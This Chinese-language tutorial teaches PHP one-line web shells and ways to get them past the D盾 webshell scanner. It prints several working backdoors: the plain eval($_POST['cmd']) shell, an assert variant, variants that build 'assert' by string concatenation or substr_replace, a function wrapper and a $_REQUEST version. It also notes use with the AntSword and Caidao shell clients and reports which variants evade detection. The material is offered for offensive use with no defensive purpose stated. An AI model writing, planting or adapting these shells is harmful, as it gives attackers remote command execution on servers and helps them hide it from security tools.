最简单的一句话木马:
<?php @eval($_POST['cmd']); ?>
前面的<?php ?>是php的文件格式,@是让程序在执行错误的情况下也不要报错,eval()函数是将括号里的内容都当作代码执行,$_POST['cmd']通过cmd这个参数post提交数据。
可以使用【hackbar】插件来传递post参数如下图:
指定传递的url选择请求方式利用cmd传递数据得到回显结果
除了这样命令执行,还可以用蚁剑、菜刀进行连接。
一句话木马简单免杀
从上面的演示中可以看到一句话木马的简单、高效,但就是因为其过于简单,查杀起来也很方便,所以要对其进行变形,让它不容易被发现。可以看到普通的一句话木马能被低版本的D盾直接扫出,所以免杀必不可少。
一、assert()
如果过滤了eval,可以使用assert绕过
assert() 会检查指定的 assertion 并在结果为true时执行
<?php @assert($_POST['cmd']); ?>
可以看出这方法虽然可行但依旧被D盾查出后门,这是因为杀软已经将大量内置函数加入了特征库。
二、字符串拼接
当过滤了eval、assert两个关键字时,可以用字符串拼接的方式。substr_replace()函数
substr_replace(string,replacement,start,length)
参数 | 描述 |
string | 必需,规定检查的字符串。 |
replacement | 必需,规定要插入的字符串。 |
start | 必需,规定在字符串的何处开始替换。若为0,从头开始。 |
length | 可选。规定要替换多少个字符。默认是与字符串长度相同。 |
<?php
$a=substr_replace("assexx","rt",4);
@$a($_POST['cmd']);
?>
在这个马中,是将第四位和第五位,也就是xx替换成rt,最终拼接成为assert
除了substr_replace(),还有一种拼接方法
<?php
$a="a"."s";
$b="s"."e"."rt";
$c=$a.$b;
$c($_POST['cmd']);
?>
可以看出这两种方法虽然起到了一定的作用让级别从5级降到了4级但还是没有达到我们的要求
三、函数
可以利用函数来构造一句话木马
<?php
function shyshy($a){
assert($a);
}
@shyshy($_POST['cmd']);
?>
先是构造了shyshy()这一函数,然后调用函数,变成一句话木马。
可以看到这种方法效果显著但仍然无法绕过查杀。
四、request请求
适用于过滤了GET和POST的情况下
<?php
$a=$_REQUEST['cmd'];
eval($a);
?>
可以看到这种方法绕过了2.0.8版本的D盾,初步可以得知这个版本的D盾使用的是关键字特征查杀。